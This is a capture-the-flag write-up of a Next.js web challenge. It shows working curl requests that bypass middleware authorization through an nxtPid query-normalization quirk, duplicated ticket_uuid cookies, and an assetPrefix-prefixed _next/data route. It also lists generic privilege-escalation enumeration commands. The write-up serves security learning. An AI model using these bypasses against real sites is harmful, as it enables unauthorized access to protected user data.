← Back to Writeups
HTBN/AWeb

Migurimental

XESXOR8/23/20264 min read
#web#htb#n/a#CVE-2025-29927

Migurimental

Platform: Sekai2026 | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-28 | Status: Solved Techniques: nextjs_assetprefix_data_route_middleware_bypass, nextjs_nxtp_query_normalization_differential, duplicate_cookie_parser_differential, middleware_authorization_bypass

Summary

Next.js 16.2.9 challenge with two apps. The first half is recovered by abusing a nxtP query normalization differential to view Miku's access card, then a duplicate-cookie parser differential to pass middleware while SSR reads Miku's ticket. The second half is recovered from the second app by requesting /cdn/_next/data/<buildId>/index.json, where assetPrefix strips /cdn for rendering but the middleware matcher does not protect the prefixed data route.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: sekai2026 | ID: 20260628_sekai2026_migurimental
  • Tags: sqlite, jwt, nginx, nextjs, middleware_bypass, pages_router, assetprefix, cookie_parser_differential, query_normalization
  • Indicators: Next.js 16.2.9 Pages Router, middleware.js protects SSR pages, assetPrefix: /cdn, _clientMiddlewareManifest.js discloses middleware matchers, nxtP-prefixed query parameter normalization
  • Source: 20260628_sekai2026_migurimental.md

Foothold

Vulnerability / Misconfiguration

  1. Nextjs_assetprefix_data_route_middleware_bypass
  2. Nextjs_nxtp_query_normalization_differential
  3. Duplicate_cookie_parser_differential
  4. Middleware_authorization_bypass
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • nextjs_assetprefix_data_route_middleware_bypass
  • nextjs_nxtp_query_normalization_differential
  • duplicate_cookie_parser_differential
  • middleware_authorization_bypass
  • Tags: sqlite, jwt, nginx, nextjs, middleware_bypass, pages_router, assetprefix, cookie_parser_differential, query_normalization

Original Writeup

<details><summary>Click to expand original content</summary>

Migurimental — sekai2026

Description

The challenge provided two Next.js instances and source code:

  • https://migurimental.chals.sekai.team
  • https://migurimental-2.chals.sekai.team

Both applications use Next.js 16.2.9 with Pages Router middleware. The flag is split in two halves:

  • backstage1/pages/backroom.js returns the first half if ticket_uuid belongs to user id 1 (miku).
  • backstage2/pages/index.js returns the second half, but middleware only allows requests whose x-real-migu header equals 1.3.3.7.

Analysis

Backstage 1

Middleware protects /access-card and /backroom:

if (request.nextUrl.pathname === '/access-card') {
  const checkedId = request.nextUrl.searchParams.get('id')
  if (checkedId !== session.sub) return deny(request)
}

if (request.nextUrl.pathname === '/backroom') {
  const expectedTicket = session.ticketUuid
  const middlewareTicket = request.cookies.get('ticket_uuid')?.value || ''
  if (!expectedTicket || middlewareTicket !== expectedTicket) return deny(request)
}

The SSR page /access-card trusts query.id and generates a QR code containing that user's ticketUuid:

const user = await findById(query.id)
const qrDataUrl = await QRCode.toDataURL(user.ticketUuid, ...)

Backstage 2

Middleware protects / by checking a header set by nginx:

const remoteAddress = request.headers.get('x-real-migu') || ''
if (remoteAddress !== '1.3.3.7') redirect('/rejected')

Directly spoofing x-real-migu fails because nginx overwrites it.

Solution

Step 1 — Register a normal account

Registering gives a regular session JWT and ticket_uuid cookie. Example from the solve:

Set-Cookie: session=<regular_session>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: ticket_uuid=dcc8a1d8-a4b6-4f3c-af84-69dd5b7ede18; Path=/; HttpOnly; SameSite=Lax
Location: /access-card?id=547

Step 2 — Leak Miku's ticket UUID with nxtPid

Next.js has a query normalization differential: a query parameter named nxtPid is normalized to id for middleware routing checks, while getServerSideProps still receives the original id query.

So this request makes middleware see our own id, but SSR renders user id 1:

curl -sS 'https://migurimental.chals.sekai.team/access-card?id=1&nxtPid=547' \
  -H 'Cookie: session=<regular_session>; ticket_uuid=<regular_ticket>'

The response is Miku's access card (username: miku) with a QR code. Decoding the QR gives Miku's ticket UUID:

0464e4c2-2700-4e36-8401-597482a41ac7

Step 3 — Use duplicate cookie parser differential on /backroom

The middleware and SSR layer parse duplicate cookies differently:

  • Edge middleware request.cookies.get('ticket_uuid') uses the last duplicate cookie.
  • Node SSR req.cookies.ticket_uuid uses the first duplicate cookie.

Send Miku's ticket first and our legitimate ticket last:

curl -sS 'https://migurimental.chals.sekai.team/backroom' \
  -H 'Cookie: ticket_uuid=0464e4c2-2700-4e36-8401-597482a41ac7; session=<regular_session>; ticket_uuid=dcc8a1d8-a4b6-4f3c-af84-69dd5b7ede18'

Middleware validates the last ticket against our JWT, then SSR reads the first ticket and returns the first flag half:

SEKAI{REDACTED

Step 4 — Bypass backstage2 with assetPrefix + _next/data

The second app sets:

module.exports = {
  assetPrefix: '/cdn',
}

The client middleware manifest shows the middleware matcher protects only the unprefixed data route:

self.__MIDDLEWARE_MATCHERS = [
  {
    "regexp": "^(?:\\/(_next\\/data\\/[^/]{1,}))?(?:\\/(\\/?index|\\/?index\\.json|\\/?index(?:\\.rsc|\\.segments\\/.+\\.segment\\.rsc)))?[\\/#\\?]?$",
    "originalSource": "/"
  }
]

But the server strips assetPrefix before resolving the page. Requesting the prefixed data route bypasses middleware and still renders /:

curl -sS 'https://migurimental-2.chals.sekai.team/cdn/_next/data/nRVcVzPJ7U21AcMTs21fY/index.json'

This returns the second flag half:

REDACTED}

Failed attempts

  • Old CVE-2025-29927 x-middleware-subrequest recursion header did not work on Next.js 16.2.9.
  • Direct x-real-migu: 1.3.3.7 spoofing was overwritten by nginx.
  • Simple duplicate query id=<own>&id=1 passed middleware in some orderings but SSR treated query.id as an array and returned 404.
  • Direct unprefixed _next/data/<buildId>/... routes were still covered by middleware.

Key indicators

Use these ideas when:

  • A Next.js app relies on middleware/proxy as the only authorization boundary.
  • assetPrefix is configured and _next/data SSR routes exist.
  • Middleware reads request.nextUrl.searchParams, while SSR reads query from getServerSideProps.
  • Middleware and SSR both parse cookies, especially duplicate cookies, but use different runtimes/parsers.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR